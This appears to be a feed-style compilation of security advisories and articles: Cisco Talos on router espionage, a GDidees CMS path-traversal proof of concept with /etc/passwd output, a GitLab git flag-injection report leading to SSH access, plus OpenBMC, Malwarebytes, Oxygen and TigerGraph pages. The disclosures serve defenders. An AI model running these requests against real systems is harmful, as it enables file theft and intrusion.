This campaign, dubbed "Jaguar Tooth," is an example of a much broader trend of sophisticated adversaries targeting networking infrastructure to advance espionage objectives or pre-position for future destructive activity.

Tuesday, April 18, 2023 11:04

Cisco is deeply concerned by an increase in the rate of high-sophistication attacks on network infrastructure — that we have observed and have seen corroborated by numerous reports issued by various intelligence organizations — indicating state-sponsored actors are targeting routers and firewalls globally. We have spoken about infrastructure security for a long time. However, while working with network infrastructure in various parts of the world, we have observed both espionage and obvious targeting to support future destructive attacks. While working with our partners, we have experienced the operational barriers that slow and sometimes stop security teams from properly securing network infrastructure. In this report, we are sharing both our observations of top-tier attackers and their activities on network devices, and recommendations and resources to help you improve your network infrastructure resilience.

**Background**

Recently, the UK’s National Cyber Security Center (NCSC) released a report on a sustained campaign by a Russian intelligence agency targeting a vulnerability in routers that Cisco had published a patch for in 2017. This campaign, dubbed "Jaguar Tooth," is an example of a much broader trend of sophisticated adversaries targeting networking infrastructure to advance espionage objectives or pre-position for future destructive activity. While infrastructure of all types has been observed under attack, attackers have been particularly successful in compromising infrastructure with out-of-date software.

Because of the large presence of Cisco network infrastructure around the world, any sustained attack against network infrastructure would likely target Cisco equipment, but attacks are by no means limited to Cisco hardware. In reporting on Russian intelligence contracting documents, samples of which were recently shared with Cisco Talos, it was shown that any infrastructure brand would be targeted, with one scanning component targeting almost 20 different router and switch manufacturers (see the image below). Looking at past research, in 2018 Talos looked into the VPNFilter threat, also believed to be of Russian origin, which showed a well-developed capability targeting Asus, Huawei, Linksys, MikroTik, Netgear, QNAP, TP-LINK, Ubiquiti, and Upvel devices.

Russia is not alone in its actions. CISA has reported on Chinese adversaries targeting network equipment from a similarly broad set of manufacturers. These are certainly not the only campaigns targeting network equipment, nor the only actors. It is reasonable to conclude that any sufficiently capable national intelligence operation would develop and use the capability to compromise the communications infrastructure of their preferred targets.

Talos investigations are consistent with these findings. We have observed traffic manipulation, traffic copying, hidden configurations, router malware, infrastructure reconnaissance and active weakening of defenses by adversaries operating on networking equipment. Given the variety of activities we have seen adversaries engage in, they have shown a very high level of comfort and expertise working within the confines of compromised networking equipment.

Our assessment is clear, that national intelligence agencies and state-sponsored actors across the globe have attacked network infrastructure as a target of primary preference. Route/switch devices are stable, infrequently examined from a security perspective, are often poorly patched and provide deep network visibility. They are the perfect target for an adversary looking to be both quiet and have access to important intelligence capability as well as a foothold in a preferred network.

**Campaign observations**

We’d like to share a non-exhaustive list of the sorts of activities we have observed actors take on various infrastructure devices. Our analysis for this set of actors is that they were (depending on the incident) either engaging in espionage or establishing a foothold for follow-on actions in support of any number of strategic goals, which may include destructive attacks. While these activities span several different incidents and campaigns, they demonstrate the technical capability of the actor. So, in brief, we have seen the following actor behaviors across different infrastructure platforms at critical infrastructure facilities:

*   The creation of Generic Router Encapsulation (GRE) tunnels and the hijacking of DNS traffic, giving the actor the ability to observe and control DNS resolution
*   Modifying memory to reintroduce vulnerabilities that had been patched so the actor has a secondary path to access
*   Modification of configurations to move the compromised device into a compromised state to allow the actor to execute additional exploits to further access
*   Installation of malicious software into an infrastructure device that provides additional capabilities to the actor, including:
    *   Masking of certain configurations so that they can’t be shown by normal commands
    *   Bypassing of ACLs so that traffic can’t be blocked properly by the router
    *   Allowing for authenticated access to devices outside of the normal SSH/Telnet methods
    *   Modular design allowing for easy updating as new capabilities are needed or developed
    *   Capability to corrupt and disable the infrastructure device
    *   Redirection of actor-defined traffic to actor-controlled infrastructure
*   Creation of hub-and-spoke VPNs designed to allow the siphoning of targeted traffic from network segments of interest through the VPN
*   The capture of network traffic for future retrieval, frequently limited to specific IPs or protocols
*   A variety of logic to allow network packets to enable and disable certain capabilities
*   The use of infrastructure devices to deliver attacks or maintain C2 in various campaigns

Additionally, we have seen traditional enterprise attacks explicitly targeting the environments that support infrastructure devices such as TACACS+ servers, enterprise management servers and jump hosts. Further, we have seen espionage activity on enterprise networks specifically searching for network data such as credentials, network diagrams, contracts with network customers and configuration information.

In short, there are extremely sophisticated actors who are increasingly targeting network infrastructure devices from a variety of manufacturers. We are concerned that insufficient awareness and patching, the reliance on end-of-life equipment and the necessity for always-on connectivity makes too many infrastructure devices easy prey. The results of these issues range from being an unwitting participant in criminal activity to events of true national security impact.

**Guard the creds**

The Jaguar Tooth attacks are actually a sequence of attacks, the first looks for poorly selected SNMP community strings. Once a community string is found, the attacker exploits CVE-2017-6742, which was first announced on June 29, 2017, after which a software patch was made available to all customers. But even unpatched, a well-selected SNMP community string stops this attack in its tracks. It should also be noted that if you are not using SNMP v3, even well-chosen credentials are transmitted in the clear, and are subject to capture. NETCONF (Network Configuration Protocol) and RESTCONF are modern network management protocols designed to offer better security and functionality than their older counterpart, SNMP. NETCONF typically runs over SSH, while RESTCONF runs over HTTPS. Both SSH and HTTPS provide strong encryption and secure authentication mechanisms, ensuring the confidentiality, integrity, and authenticity of the data being exchanged. SNMP, particularly its older versions (v1 and v2c), lacks proper encryption and authentication, which makes it more vulnerable to cyber attacks.

In other incidents, we have observed well-positioned adversaries with preexisting access to internal environments targeting TACACS+/RADIUS servers to obtain credentials. This gives them the benefit of understanding the controls enforced by the credential server, as well as allowing their traffic to look “normal” by using jump servers and employing other techniques that a typical network administrator would use.

Many of the exploits we’ve seen used in the wild are post-compromise exploits, meaning the attacker had some form of credential to get them to the place where they could then launch the exploit and get deeper access to the device. Our recommendations are to select complex passwords and community strings, to utilize multifactor authentication where possible, to require encryption when configuring and monitoring devices and to lockdown and aggressively monitor credential systems like TACACS+ and any jump hosts.

**Stay modern, stay real**

Network infrastructure is built to last, and in today’s always-on world, it’s sometimes impossible to find a patch window. But recent reports – and our own investigations – show that it is critical to update both the hardware and the software that runs your network. This is true not just because patching eliminates known vulnerabilities, but upgrades also introduce new security capabilities and controls that weren’t previously available.

Cisco has introduced a number of technologies and protocols over time that has improved the security of its products. Some of these advances can be obtained by software upgrade, while others require more modern networking equipment. For example, in order to combat certain supply chain attacks, Cisco has introduced a series of technologies. These technologies include hardware improvements such as the Trust Anchor Module and software changes like Secure Boot. Organizations that fail to update their hardware and software will both be more likely to be a victim of unpatched security vulnerabilities but also will have fewer tools to combat adversaries. Cisco customers can check their version of software to see if any known vulnerabilities exist in it here. You can learn more about Cisco Trustworthy Technologies here. Several related resources, tools, and services can be found at The Trust Center here.

**Know your world and enforce it**

An organization that both understands the configurations that it is running and monitors for departures from that understanding have a high probability of discovering adversaries early in the campaign. For example, an unauthorized GRE tunnel or static VPN, discovered by NetFlow analysis, would be grounds for an investigation. Additionally, monitoring for connections to edge routers from unknown external IPs would also uncover some of the activity that we’ve observed. Even basic configuration monitoring and alerting on modifications would help in many cases.

Authentication, authorization, and accounting (AAA) tools are another area where policy enforcement can be useful. We’ve seen actors take unusual action on routers that would show up in AAA logs and ideally could be denied by the correct AAA configuration. One example would be attempts to suppress logging by issuing _“no aaa accounting”_ configuration commands. Attempts to disable any feature of AAA should be both logged and denied by the AAA system.

Asking organizations to monitor their environment for unusual changes in behavior or configurations is one of the hardest recommendations we are making. It will take a combination of a well-documented network infrastructure environment, network engineering and talented security operations to build a monitoring environment tuned to your implementation. While there are many technologies to support you, the excellence in your network engineering and security team, and their willingness to collaborate, will be a large factor in whether or not you are successful.

**If you need us, call us**

Responding to incidents involving specialized hardware can be challenging. If you suspect that a Cisco product has been compromised, please reach out to TAC for assistance. If you suspect there is a vulnerability in a Cisco product, please reach out to PSIRT. You can find out how to contact TAC for general questions here. To report or obtain support for a suspected vulnerability, you can contact Cisco’s PSIRT here.

**TL; DR recommendations**

*   Select complex passwords and community strings, avoid default credentials
*   Use multi-factor authentication
*   Encrypt all monitoring and configuration traffic (SNMPv3, HTTPS, SSH, NETCONF, RESTCONF)
*   Lockdown and aggressively monitor credential systems like TACACS+ and any jump hosts
*   Do not run end-of-life hardware and software
*   Maintain current software
*   Utilize AAA to deny configuration changes of key protections
*   Monitor syslog and AAA logs for unusual activities
*   Monitor your environment for unusual changes in behavior or configuration
*   Contact Cisco TAC or PSIRT if you need assistance with a security incident involving Cisco products

**Conclusion**

If your network isn’t secure, then nothing on that network can be properly secured. We know that there is a myriad of operational realities that make it difficult to maintain a fully defensible network infrastructure. However, given the risks and outcomes that compromised network infrastructure bring, these obstacles must be overcome for organizations to truly secure their environment. Regardless of the context, aging infrastructure is a risk. Relying on out-of-date gear or utilizing out-of-date protocols and technologies will eventually cost your organization. Work with your vendor to give yourself the best chance of defending your environment.

State-sponsored campaigns target global network infrastructure

GDidees CMS version 3.9.1 suffers from file disclosure and directory traversal vulnerabilities.

    # Exploit Title: GDidees CMS - 'imgdownload.php' Local File Disclosure# Date : 03/27/2023# Exploit Author : Hadi Mene# Vendor Homepage : https://www.gdidees.eu/# Software Link : https://www.gdidees.eu/cms-1-0.html# Version : 3.9.1 and earlier # Tested on : Debian 11 # CVE : CVE-2023-27179### Summary:GDidees CMS v3.9.1 and lower versions was discovered to contain an local file disclosure vulnerability via the filename parameter at /_admin/imgdownload.php.### Description :Imgdownload.php is mainly used by the QR code generation module to download an QR code. The vulnerability occurs in line 4 where the filename parameter which will be opened later is not filtered or sanitized.Furthermore, there is no admin session check in this code as it should since only the admin user should normallybe able to download QR code.Vulnerable Code :3. if (isset($_GET["filename"])) {4.        $filename=$_GET["filename"];    .....          .....27. @readfile($filename) OR die();### POC :URL : https://[GDIDEESROOT]/_admin/imgdownload.php?filename=../../../../../../etc/passwdExploitation using curl # curl http://192.168.0.32/cmsgdidees3.9.1-mysqli/_admin/imgdownload.php?filename=../../../../../etc/passwdroot:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/usr/sbin/nologinsystemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologinsystemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologinsystemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologinntp:x:104:110::/nonexistent:/usr/sbin/nologinmessagebus:x:105:111::/nonexistent:/usr/sbin/nologinuuidd:x:106:112::/run/uuidd:/usr/sbin/nologinpulse:x:107:115:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologinlightdm:x:108:117:Light Display Manager:/var/lib/lightdm:/bin/falsehadi:x:1000:1000:hadi,,,:/home/hadi:/bin/bashsystemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologinvboxadd:x:998:1::/var/run/vboxadd:/bin/falseopenldap:x:109:118:OpenLDAP Server Account,,,:/var/lib/ldap:/bin/falsesshd:x:110:65534::/run/sshd:/usr/sbin/nologinmysql:x:111:120:MySQL Server,,,:/nonexistent:/bin/false### References:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-27179https://nvd.nist.gov/vuln/detail/CVE-2023-27179https://www.exploit-db.com/papers/12883

GDidees CMS 3.9.1 Local File Disclosure / Directory Traversal

An issue was discovered in GitLab Community and Enterprise Edition before 11.11.8, 12 before 12.0.6, and 12.1 before 12.1.6. Gitaly allows injection of command-line flags. This sometimes leads to privilege escalation or remote code execution.

Skip to content

Open Issue created Jul 24, 2019 by **GitLab SecurityBot@gitlab-securitybot**Reporter

**Git flag injection - local file overwrite to remote code execution**

**HackerOne report #658013** by vakzz on 2019-07-24, assigned to hackerjuan:

**Summary**

The wiki_blobs scope of the Search API can be provided with an arbitrary ref parameter, allowing for additional flags to be injected into the git command.

For example the following API call:

    `curl --header "PRIVATE-TOKEN: $TOKEN" 'http://gitlab-vm.local/api/v4/projects/4/search?scope=wiki_blobs&search=page&ref=--output=/tmp/file'`  

The above will generate the following git command causing the the last commit log to be written to /tmp/file

        /opt/gitlab/embedded/bin/git --git-dir /var/opt/gitlab/git-data/repositories/@hashed/4b/22/4b227777d4dd1fc61c6f884f48641d02b4d121d3fd328cb08b5531fcacdabf8a.wiki.git log --max-count=1 --output=/tmp/file  

**Steps to reproduce**

1.  Create a wiki new wiki page called page with the commit message controlled content
2.  Search for the wiki blob via the Search API, with the injected ref flag:

    curl --header "PRIVATE-TOKEN: $TOKEN" 'http://gitlab-vm.local/api/v4/projects/5/search?scope=wiki_blobs&search=page&ref=--output=/tmp/file'  

3.  See that the file has been created:

    git@gitlab-vm:~$ cat /tmp/file  
    commit f00f9538d29b176e9dfb2eb1bfe1eab190cad3d9  
    Author: Administrator <admin@example.com>  
    Date:   Wed Jul 24 13:08:51 2019 +0000
    
        controlled content  

**Impact**

This can be used to overwrite /var/opt/gitlab/.ssh/authorized_keys with an attackers key by following the above steps allowing remote access and code execution.

1.  Create a new rsa key
2.  Create a new wiki page setting the commit message to the rsa public key
3.  Run the Search API with ref=--output=/var/opt/gitlab/.ssh/authorized_keys
4.  ssh into gitlab using the created key:

    $ ssh git@gitlab-vm.local -i gitlab  
    Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-70-generic x86_64)  
    $ id  
    uid=998(git) gid=998(git) groups=998(git)
    
    $ cat /var/opt/gitlab/.ssh/authorized_keys  
    commit 00c8e52996654d02bcbdba47dc25ee73671cbfd6  
    Author: Administrator <admin@example.com>  
    Date:   Wed Jul 24 12:56:23 2019 +0000
    
        ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxsqkWZobL5DBOnM3rtE7ZDP4d9v0lABJRGJbovHHTNY2iH3x3pjjerPfLDO21Gkyfzn4J+x6O6GleMAB5nxnZRH7E44khfW6Ldql29Rv2Q/IYCsBSKxGT6RCOFusoRi1uHlQmexIh4gZkmPeFfDLTy70Xv3FpPLfKE/EiVOjuEtY9JUC4MVlPHaTzZ2HE4sZT5tvcm9YtSpjT2v0SMR8uCXcKMAx4Tsu/Un2N5UziXgtRF+vD0fRhNyKIkOtULwBgWkL5RE71vYbxOhviqTAld7r70TIWSzSUHcUewbMS5XcEdBwl3XI/9qzo+jOA0Ulf2bkkROpELBoHwfLdpu9p will@MacBook-Pro.local  

**What is the current _bug_ behavior?**

The ref param is passed directly to the git command without being sanitized.

**What is the expected _correct_ behavior?**

The ref param should be sanitized or used in a way that doesn't allow for flag injection

**Results of GitLab environment info**

    $ sudo gitlab-rake gitlab:env:info
    
    System information  
    System:		Ubuntu 16.04  
    Current User:	git  
    Using RVM:	no  
    Ruby Version:	2.6.3p62  
    Gem Version:	2.7.9  
    Bundler Version:1.17.3  
    Rake Version:	12.3.2  
    Redis Version:	3.2.12  
    Git Version:	2.21.0  
    Sidekiq Version:5.2.7  
    Go Version:	unknown
    
    GitLab information  
    Version:	12.1.0  
    Revision:	295480f4553  
    Directory:	/opt/gitlab/embedded/service/gitlab-rails  
    DB Adapter:	PostgreSQL  
    DB Version:	10.7  
    URL:		http://gitlab-vm.local  
    HTTP Clone URL:	http://gitlab-vm.local/some-group/some-project.git  
    SSH Clone URL:	git@gitlab-vm.local:some-group/some-project.git  
    Using LDAP:	no  
    Using Omniauth:	yes  
    Omniauth Providers:
    
    GitLab Shell  
    Version:	9.3.0  
    Repository storage paths:  
    - default: 	/var/opt/gitlab/git-data/repositories  
    GitLab Shell path:		/opt/gitlab/embedded/service/gitlab-shell  
    Git:		/opt/gitlab/embedded/bin/git  

**Impact**

An attacker can overwrite or create files with mostly controlled content, allowing them to gain remote ssh access to gitlab as the git user

CVE-2019-14944: Git flag injection - local file overwrite to remote code execution (#1801) · Issues · GitLab.org / gitaly · GitLab

In OpenBMC 2.9, crafted IPMI messages allow an attacker to cause a denial of service to the BMC via the netipmid (IPMI lan+) interface.

**OpenBMC**

OpenBMC is a Linux distribution for management controllers used in devices such as servers, top of rack switches or RAID appliances. It uses Yocto, OpenEmbedded, systemd, and D-Bus to allow easy customization for your platform.

**Setting up your OpenBMC project****1) Prerequisite**

See the Yocto documentation for the latest requirements

**Ubuntu**

sudo apt install git python3-distutils gcc g++ make file wget \\
    gawk diffstat bzip2 cpio chrpath zstd lz4 bzip2

**Fedora**

sudo dnf install git python3 gcc g++ gawk which bzip2 chrpath cpio \\
    hostname file diffutils diffstat lz4 wget zstd rpcgen patch

**2) Download the source**

git clone https://github.com/openbmc/openbmc
cd openbmc

**3) Target your hardware**

Any build requires an environment set up according to your hardware target. There is a special script in the root of this repository that can be used to configure the environment as needed. The script is called setup and takes the name of your hardware target as an argument.

The script needs to be sourced while in the top directory of the OpenBMC repository clone, and, if run without arguments, will display the list of supported hardware targets, see the following example:

    $ . setup <machine> [build_dir]
    Target machine must be specified. Use one of:
    
    bletchley               mori                    s8036
    dl360poc                mtjade                  swift
    e3c246d4i               mtmitchell              tatlin-archive-x86
    ethanolx                nicole                  tiogapass
    evb-ast2500             olympus-nuvoton         transformers
    evb-ast2600             on5263m5                vegman-n110
    evb-npcm750             p10bmc                  vegman-rx20
    f0b                     palmetto                vegman-sx20
    fp5280g2                qcom-dc-scm-v1          witherspoon
    g220a                   quanta-q71l             witherspoon-tacoma
    gbs                     romed8hm3               x11spi
    greatlakes              romulus                 yosemitev2
    gsj                     s2600wf                 zaius
    kudo                    s6q
    lannister               s7106
    

Once you know the target (e.g. romulus), source the setup script as follows:

**4) Build**

bitbake obmc-phosphor-image

Additional details can be found in the docs repository.

**OpenBMC Development**

The OpenBMC community maintains a set of tutorials new users can go through to get up to speed on OpenBMC development out here

**Build Validation and Testing**

Commits submitted by members of the OpenBMC GitHub community are compiled and tested via our Jenkins server. Commits are run through two levels of testing. At the repository level the makefile make check directive is run. At the system level, the commit is built into a firmware image and run with an arm-softmmu QEMU model against a barrage of CI tests.

Commits submitted by non-members do not automatically proceed through CI testing. After visual inspection of the commit, a CI run can be manually performed by the reviewer.

Automated testing against the QEMU model along with supported systems are performed. The OpenBMC project uses the Robot Framework for all automation. Our complete test repository can be found here.

**Submitting Patches**

Support of additional hardware and software packages is always welcome. Please follow the contributing guidelines when making a submission. It is expected that contributions contain test cases.

**Bug Reporting**

Issues are managed on GitHub. It is recommended you search through the issues before opening a new one.

**Questions**

First, please do a search on the internet. There's a good chance your question has already been asked.

For general questions, please use the openbmc tag on Stack Overflow. Please review the discussion on Stack Overflow licensing before posting any code.

For technical discussions, please see contact info below for Discord and mailing list information. Please don't file an issue to ask a question. You'll get faster results by using the mailing list or Discord.

**Will OpenBMC run on my Acme Server Corp. XYZ5000 motherboard?**

This is a common question, particularly regarding boards from popular COTS (commercial off-the-shelf) vendors such as Supermicro and ASRock. You can see the list of supported boards by running . setup (with no further arguments) in the root of the OpenBMC source tree. Most of the platforms supported by OpenBMC are specialized servers operated by companies running large datacenters, but some more generic COTS servers are supported to varying degrees.

If your motherboard is not listed in the output of . setup it is not currently supported. Porting OpenBMC to a new platform is a non-trivial undertaking, ideally done with the assistance of schematics and other documentation from the manufacturer (it is not completely infeasible to take on a porting effort without documentation via reverse engineering, but it is considerably more difficult, and probably involves a greater risk of hardware damage).

**However**, even if your motherboard is among those listed in the output of . setup, there are two significant caveats to bear in mind. First, not all ports are equally mature -- some platforms are better supported than others, and functionality on some "supported" boards may be fairly limited. Second, support for a motherboard is not the same as support for a complete system -- in particular, fan control is critically dependent on not just the motherboard but also the fans connected to it and the chassis that the board and fans are housed in, both of which can vary dramatically between systems using the same board model. So while you may be able to compile and install an OpenBMC build on your system and get some basic functionality, rough edges (such as your cooling fans running continuously at full throttle) are likely.

**Features of OpenBMC****Feature List**

*   Host management: Power, Cooling, LEDs, Inventory, Events, Watchdog
*   Full IPMI 2.0 Compliance with DCMI
*   Code Update Support for multiple BMC/BIOS images
*   Web-based user interface
*   REST interfaces
*   D-Bus based interfaces
*   SSH based SOL
*   Remote KVM
*   Hardware Simulation
*   Automated Testing
*   User management
*   Virtual media

**Features In Progress**

*   OpenCompute Redfish Compliance
*   Verified Boot

**Features Requested but need help**

*   OpenBMC performance monitoring

**Finding out more**

Dive deeper into OpenBMC by opening the docs repository.

**Technical Steering Committee**

The Technical Steering Committee (TSC) guides the project. Members are:

*   Roxanne Clarke, IBM
*   Nancy Yuen, Google
*   Patrick Williams, Meta
*   Terry Duncan, Intel
*   Sagar Dharia, Microsoft
*   Samer El-Haj-Mahmoud, Arm

**Contact**

*   Mail: openbmc@lists.ozlabs.org https://lists.ozlabs.org/listinfo/openbmc
*   Discord: https://discord.gg/69Km47zH98

CVE-2021-39295: GitHub - openbmc/openbmc: OpenBMC Distribution

Categories: Business
Prevent port scanning attacks with Malwarebytes for Business. 



(Read more...)




The post Port scan attacks: Protecting your business from RDP attacks and Mirai botnets appeared first on Malwarebytes Labs.

Compromised IP addresses and domains—otherwise legitimate sites that are exploited by hackers without the owner's knowledge—are frequently utilized to conduct port scanning attacks.

Port scanning involves systematically scanning a computer network for open ports, which can then be exploited by threat actors to gain unauthorized access or gather information about the system's vulnerabilities.

In this article, we will explain the two biggest threats utilizing port scanning attacks, RDP attacks and Mirai botnets, and how businesses can protect themselves using Malwarebytes for Business.

**Compromised detections: RDP attacks and Mirai botnets**

Cybercriminals typically conduct reconnaissance on the target port before using what are called dictionary attacks, entering and trying out known usernames and passwords to see if any of the combinations grant access.

The two most common detections of compromised IP addresses are systems scanning for open RDP (Remote Desktop Protocol) ports and IoT (Internet of Things) botnets, such as Mirai.

Remote Desktop Protocol is exactly what the name implies, a tool for remotely controlling a PC that gives you all the power and control you would have if you were actually sitting behind it—which is what makes it so dangerous in the wrong hands. In fact, **one of the primary attack vectors for ransomware attacks** has been the Remote Desktop Protocol (RDP).

RDP port scanners, often found in the form of compromised servers, scan the internet for open RDP ports by trying the default port for RDP, **TCP 3389**. The cybercriminals that control the compromised server then try to brute-force their way in, repeatedly entering common username and password combos to find RDP login credentials.

Other than RDP, cybercriminals often perform port scans for various other network protocols, including FTP (20/21), POP3 (110/995), IMAP (143/993), SMTP (25/465/587), and SQL (1433/1434/3306). Gaining access through RDP and other network protocols allows attackers to infiltrate systems and deploy various malware.

Mirai, on the other hand, is a botnet primarily composed of Internet of Things (IoT) devices such as IP cameras, routers, and other internet-connected devices. Mirai actively scans the internet for open telnet servers on **ports 23 or 2323**, and, upon discovering one, attempts authentication using known default credentials. Such credentials are easy to find in many IoT devices—they're often the prepackaged combination of "admin" and "admin" for both username and password whenever customers first purchase a product to set it up. 

If successful in its malicious login attempts, Mirai compromises the device and integrates it into the existing botnet.

In addition to launching DDoS attacks, botnets like Mirai can aid hackers in weakening website security, stealing credit card information, and distributing spam.

**Protecting your business with Malwarebytes for Business**

Malwarebytes for Business offers a comprehensive solution to monitor and manage threats, including detections from compromised IP addresses scanning for and attacking open ports.

For example, Malwarebytes blocks the **IP address 5.39.37.10** as it is associated with the Mirai botnet, and **81.198.240.73** because it has been found to be involved in RDP probes or attacks.

**Brute Force Protection** policies in Nebula, our cloud-hosted security platform, can be configured to specify which protocols to protect, the ports used (default or custom), and create trigger rules. If set to monitor and detect, the policy will not block the ports. However, if set to block, it will utilize the Windows Firewall to block communications based on the configured rules.

When a block is implemented, the offending IP address will be placed in a "jail" for a predetermined duration, such as 30 minutes as shown in the example screenshot above. Blocks last a max of 60 minutes because IP addresses might be reassigned to legitimate users, or an attacker may leverage a legitimate user's IP address. 

There are two kinds of inbound connections that Malwarebytes can detect, Blocked Inbound Connections and Found Inbound Connections.

**Blocked inbound connections**

Detections with the following fields reported typically occur when a port is open and exposed to the internet:

*   **Type**: Inbound Connection
    
*   **Action** Taken: Blocked
    

These detections are prevented by the Web Protection real-time protection layer. When these detections occur, it means the IP address being blocked is scanning or attempting to force its way into the endpoint using different ports.

Malwarebytes blocks IP addresses that have a history of abuse and is correctly preventing malicious connections.

**Found inbound connections**

Detections with the following fields reported are typically a result of having open ports in the router or firewall:

*   **Type**: Inbound Connection
    
*   **Action Taken**: Found
    
*   **Detection Name**: RDP Intrusion Detection
    

These detections occur based on your Brute Force Protection trigger rule settings specified in the Nebula policy.

**Configuring Brute Force Protection in Nebula**

To configure Brute Force Protection in Nebula:

1.  On the left navigation menu, go to **Configure > Policies**.
    
2.  Select a policy, then select the **Brute Force Protection** tab.
    
3.  Select the following protocols for your workstations or servers:
    

*   **Workstation and server protocols**: Check mark the RDP protocol.
    
*   **Server-only protocols**: Check mark the **FTP, IMAP, MSSQL, POP3, SMTP, or SSH** protocols.
    

4.  Configure custom port settings based on your endpoint environment and protocol requirements.
    
5.  Create a Trigger rule based on the number of failed remote login attempts within a certain minute range across all enabled protocols. Choose to either **block** the IP address or **monitor and** **detect** the event when the trigger threshold is reached.
    
6.  Optionally, enable the option to **Prevent private network connections from being blocked.**
    
7.  When enabled, endpoints within private network address ranges will not trigger Brute Force Protection due to failed login attempts. This excludes the following network ranges:
    

*   **10.0.0.0/8** (10.0.0.0-10.255.255.255)
    
*   **172.16.0.0/12** (172.16.0.0-172.31.255.255)
    
*   **192.168.0.0/16** (192.168.0.0-192.168.255.255)
    
*   **127.0.0.0/8** (127.0.0.0-127.255.255.255)
    

8.  Click Save at the top-right of your policy.
    

**Safeguarding your business from compromised threats**

By leveraging Malwarebytes for Business' advanced threat detection and protection capabilities, businesses can effectively protect themselves against attacks that result from compromised IP addresses and domains, including RDP attacks (and attacks against other network protocols) and IoT botnets. Configuring Brute Force Protection in Nebula allows companies to stay one step ahead of cybercriminals and ensure the safety of their networks and data.

Protection from port scanning attacks is only one aspect of Malwarebytes for Business' multi-layered approached to defense, which includes an all-in-one endpoint security portfolio that combines 21 layers of protection.

Request Your Free Malwarebytes Business Trial

Port scan attacks: Protecting your business from RDP attacks and Mirai botnets

A directory traversal vulnerability in Oxygen XML Web Author before 25.0.0.3 build 2023021715 and Oxygen Content Fusion before 5.0.3 build 2023022015 allows an attacker to read files from a WEB-INF directory via a crafted HTTP request. (XML Web Author 24.1.0.3 build 2023021714 and 23.1.1.4 build 2023021715 are also fixed versions.)

Severity: Low2023-04-07

Security Advisories

**Abstract**

A directory traversal vulnerability in Oxygen XML Web Author before 25.0.0.3 build 2023021715 and Oxygen Content Fusion before 5.0.3 build 2023022015 allows an attacker to read files from a WEB-INF directory via a crafted HTTP request. (XML Web Author 24.1.0.3 build 2023021714 and 23.1.1.4 build 2023021715 are also fixed versions.)

The Oxygen products incorporate $LIBRARY$ as a third-party library. This advisory was opened to address the potential impact of this third-party library vulnerability.

**Affected Products/Versions****Mitigation****Oxygen XML Web Author**

If for whatever reason you cannot secure your Oxygen XML Web Author service by updating it using the kits above-mentioned, as an alternate solution you can disable caching in Tomcat:

*   locate the context.xml file that is usually located in **tomcat/conf/** folder
*   edit the context.xml file and add the following code snippet in the root element: **<Resources cachingAllowed="false"/>**
*   restart the Tomcat server

Please note that the installation of the kits is the preferred solution, and the workaround should only be considered as a temporary measure until the kits can be used.

**Oxygen Content Fusion**

If for whatever reason you cannot secure your Oxygen Content Fusion by updating it using the kit above-mentioned, as a security workaround you can disable caching in Tomcat for the Web Author service by following the below steps for Content Fusion 5.0:

*   open a shell (SSH) inside the server where Content Fusion is installed and run the following commands:
    *   export VERSION=5.0
    *   sudo docker tag oxygenxml/webreviewer-webauthor:v$VERSION oxygenxml/webreviewer-webauthor:v$VERSION-backup
    *   sudo docker create --name tmp oxygenxml/webreviewer-webauthor:v$VERSION
    *   sudo docker cp tmp:/tomcat/conf/context.xml context-to-fix.xml
    *   sed -i 's/<\\/Context>/<Resources cachingAllowed="false"\\/><\\/Context>/g' context-to-fix.xml
    *   sudo docker cp context-to-fix.xml tmp:/tomcat/conf/context.xml
    *   sudo docker commit tmp oxygenxml/webreviewer-webauthor:v$VERSION
    *   sudo docker rm tmp
    *   rm -rf context-to-fix.xml
*   restart the server, see this documentation topic.

For Content Fusion 4.1 use the above procedure but instead of **export VERSION=5.0** run **export VERSION=4.1**.

Note that the installation of the kit is the preferred solution, and the workaround should only be considered as a temporary measure until the kits can be used.

**Detail**

SYNC-2023-042301

_Severity:_ High

_CVSS Score:_ 7.5

Using special requests, a remote attacker may read files from WEB-INF directory of Oxygen XML Web Author application. However, by default, this directory does not contain sensitive information so the severity of this issue should be seen as low.

List of Security Advisories

CVE-2023-26559: SYNC-2023-042301 - Directory Traversal

An issue was discovered in TigerGraph Enterprise Free Edition 3.x. It creates an authentication token for internal systems use. This token can be read from the configuration file. Using this token on the REST API provides an attacker with anonymous admin-level privileges on all REST API endpoints.

The TigerGraph platform provides users with a REST API that allows authenticated users the ability to load data into the database, query the database, and update the database.

This report highlights that an authentication token – that is used internally by the TigerGraph system – can be read from configuration files stored on the TigerGraph platform. And that anyone using this token is granted administrative privileges across all REST API endpoints. Thereby, allowing an attackerto read and write to any graph in the platform.

**Impact**

Severe.

Unauthorized users can exfiltrate or corrupt any data contained within the TigerGraph platform.

**Products/Versions Affected**

*   TigerGraph Enterprise Free Edition 3.7.0 Docker Image
*   TigerGraph Enterprise Free Edition 3.7.0
*   TigerGraph Cloud

We suspect that this vulnerability is present in all existing TigerGraph products (although this is not confirmed).

**Steps to Reproduce****Download and Run TigerGraph**

